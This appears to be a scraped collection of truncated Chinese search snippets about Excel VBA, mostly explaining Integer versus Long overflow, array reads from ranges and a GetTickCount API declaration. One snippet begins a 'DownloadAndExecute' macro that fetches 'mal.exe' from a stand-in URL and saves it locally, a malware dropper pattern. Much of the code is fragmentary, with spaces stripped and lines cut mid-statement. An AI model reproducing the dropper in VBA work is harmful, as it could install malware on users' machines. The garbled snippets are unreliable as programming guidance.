定义i为integer变量，对i赋值65535，运行代码出错。出错原因：integer的范围是 -32768~32767之间，65535>32767,超过integer变量的范围了，因此报错。如果，我们在处理数据的时候，循环遍历的最大次数，超过了i（integer变量）的范围，那么代码同样会报错，如下例子：解决方法：声明整数型的变量，同一使用Long类型，long的范围足够大，几乎不会出现超过范围的事...
integer是整型long是长整型它一直是不同，它们开辟的内存空间是不同的。它们有自己各自的数据范围，细节百度一下。
Subtest()Dim vArray As Variant,dValue As Double Dim iRow As Integer,iCol As Integer vArray=Range("A1:C10000").Value2 'read all the values at once from the Excel cells,put into an array For iRow=LBound(vArray,1)ToUBound(vArray,1)For iCol=LBound(vArray,2)ToUBound(vArray,2)dValue=v...
Declare Function GetTickCount Lib "kernel32" () As Long Sub APIsDemo() L = GetTickCount() End Sub ' Visual Basic .NETcode ' A Long in VBAis an Integer in Visual Basic .NET Declare Function GetTickCount Lib "kernel32" () As Integer Sub APIsDemo() Dim L As Integer L = GetTickCount() ...
Dim vArray As Variant Dim iRow As Integer Dim iCol As Integer Dim dValue As Double vArray = Range("A1:C10000").Value2 ' 一次从 Excel 单元格中读取所有值,放入数组 For iRow = LBound(vArray , 1) To UBound(vArray, 1) For iCol = LBound(vArray, 2) To UBound(vArray, 2) dValue = ...
代码语言:javascript 代码运行次数:0 运行 AI代码解释 Private Sub DownloadAndExecute() Dim droppingURL As String Dim localPath As String Dim WinHttpReq As Object, oStream As Object Dim result As Integer droppingURL = "https://example.com/mal.exe" localPath = "c://asd.exe" Set WinHttpReq ...
vba数组索引 vba数组引用,使用Redim动态数组即可。Subtest1()Dima()AsInteger,iRowAsLong,iAsIntegeriRow=Cells(Rows.Count,1).End(xlUp).RowReDima(iRow-1)Fori=1ToUBound(a)a(i-1)=Range
{{ message }} jsdnhk / concise-excel-vba Public forked from bluetata/concise-excel-vba Notifications You must be signed in to change notification settings Fork 0 Star 1 Excel-vba 開發使用手冊 jsdnhk.github.io/concise-excel-vba/ License...
Dim vArray As Variant Dim iRow As Integer Dim iCol As Integer Dim dValue As Double vArray...
在学习vba变量的时候,我们知道,integer变量和long变量都有其范围。 且先看下面的例子: 定义i为integer变量,对i赋值65535,运行代码出错。 出错原因:integer的范围是 -32768~32767之间,65535>32767,超过integer变量的范围了,因此报错。 如果,我们在处理数据的时候,循环遍历的最大次数,超过了i(integer变量)的范围,那么...